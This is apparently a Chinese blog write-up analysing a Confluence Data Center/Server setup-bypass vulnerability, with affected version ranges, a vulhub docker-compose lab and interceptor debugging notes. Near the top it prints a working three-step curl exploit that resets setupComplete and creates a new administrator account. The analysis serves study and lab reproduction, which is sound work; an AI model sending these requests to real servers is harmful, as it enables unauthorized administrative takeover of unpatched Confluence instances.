前言
影响版本:
8.0.0 <= Confluence Data Center and Confluence Server <= 8.0.4
8.1.0 <= Confluence Data Center and Confluence Server <= 8.1.4
8.2.0 <= Confluence Data Center and Confluence Server <= 8.2.3
8.3.0 <= Confluence Data Center and Confluence Server <= 8.3.2
8.4.0 <= Confluence Data Center and Confluence Server <= 8.4.2
8.5.0 <= Confluence Data Center and Confluence Server <= 8.5.1
Exploit
curl http://127.0.0.1:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false;
curl -X POST -H "X-Atlassian-Token: no-check" -d "[email protected]&password=leet&confirm=leet&setup-next-button=Next" http://127.0.0.1:8090/setup/setupadministrator.action;
curl -X POST -H "X-Atlassian-Token: no-check" http://127.0.0.1:8090/setup/finishsetup.action
docker-compose.yml
version: '2'
services:
web:
image: vulhub/confluence:8.5.1
ports:
- "8090:8090"
- "5050:5050"
depends_on:
- db
db:
image: postgres:12.8-alpine
environment:
- POSTGRES_PASSWORD=postgres
- POSTGRES_DB=confluence
先引用一张图
先定位到setupadministrator.action
com.atlassian.confluence_confluence-8.5.1/struts.xml
可以看到处理的class是com.atlassian.confluence.setup.actions.SetupAdministrator,先经过defaultSetupStack的拦截器
/setup/setupadministrator.vm
/setup/setupadministrator.vm
/setup/setupadministrator.vm
/setup/setupadministrator.vm
finishsetup.action
finishsetup.action
finishsetup.action
defaultSetupStack拦截器里有一个setupcheck检测
经过动态调试大概逻辑是
第一次执行
return BootstrapUtils.getBootstrapManager().isSetupComplete() && ContainerManager.isContainerSetup() ? "alreadysetup" : actionInvocation.invoke(); -> Fasle->actionInvocation.invoke();
第二次执行两边的isSetupComplete都返回true。由于返回是true所以是返回alreadysetup
BootstrapUtils.getBootstrapManager().isSetupComplete()会返回setupComplete的值,如果是已经安装则返回true
而第一次ContainerManager.isContainerSetup()不存在则返回false
一真一假返回假,走到actionInvocation.invoke();,在com/opensymphony/xwork2/DefaultActionInvocation.class第203行会再次执行SetupCheckInterceptor.intercept。由于第二次两边都是true所以返回alreadysetup字符串
最后ResultCode是alreadysetup,检测为已经安装
该漏洞将bootstrapStatusProvider.applicationConfig.setupComplete设置为false。在这里将不会返回alreadysetup,也就是说我们在设置了setupComplete属性为false后;在下一次访问/setup/*目录下触发setupComplete拦截器前将一直有效
最后漏洞点是出现在,重写拦截器的点上
当请求的payload经过isSafeParameterName的匹配,最后会去到stack.setValue()
(然而我动态调试就是断不到这),那你问我,我怎么知道在地方是漏洞点,他钩子就这一个地方能控制不是这也没 别的了(
这里还需要设置一手X-Atlassian-Token: no-check的原因还是拦截器有检测,
Exploit
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。